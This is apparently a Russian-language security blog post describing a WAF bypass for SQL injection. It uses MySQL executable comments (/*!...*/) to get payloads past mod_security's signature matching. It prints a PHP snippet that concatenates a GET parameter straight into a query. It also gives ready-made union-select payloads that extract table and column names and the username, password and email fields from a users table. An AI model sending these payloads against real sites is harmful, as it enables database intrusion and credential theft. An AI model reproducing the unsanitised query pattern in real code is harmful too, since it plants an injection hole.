Еще один красивый способ эксплуатации SQL Injection в обход WAF

Еще один красивый способ эксплуатации SQL Injection в обход WAF
Метод, который попал мне сегодня на глаза в документации MySQL , поражает своей простотой и тем, что я не замечал его раньше. Раскопанный способ по обходу WAF заключается в следующем. Сервер MySQL позволяет использовать комментарии вида: /*!sql-code*/и /*!12345sql-code*/ Как можно догадаться, и в том, и в другом случае sql-code будет выполнен из комментария! Во втором случае конструкция означает, что нужно выполнить "sql-code", если версия СУБД больше этого цифрового значения. name='more'> Как я уже неоднократно утверждал [ 1 , 2 ], некоторыми WAFами комментарии в процессе сигнатурного поиска игнорируются. К таким WAF, в том числе относиться и mod_security последней стабильной сборки (v. 2.5.9). Простой пример: ... $query = "SELECT name FROM table where id = ".$_GET[id]; $result = mysql_query($query); ... Если Web-приложение защищено Mod_Security, то такой запрос не пройдет: /?id=1+union+select+1 Примечательно, что даже такие (некорректные в данном примере) запросы блокируются WAF (техники HPP / HPF ): /?id=1+union/*&id=*/select+table_name+from+information_schema.columns /?id=1+union/*&blabla1=*/select+table_name&blabla2=from+information_schema.columns А вот воспользовавшись методом с комментариями, можно эксплуатировать SQL Injection, абсолютно прозрачно для фильтров Mod_Security: /?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/ /?id=1/*!12345limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/ /?id=1/*!limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users*/ Собственно, метод в копилку :-)
уязвимости waf server-side research SQL-Injection уязвимости web blackbox 0day hack
Alt text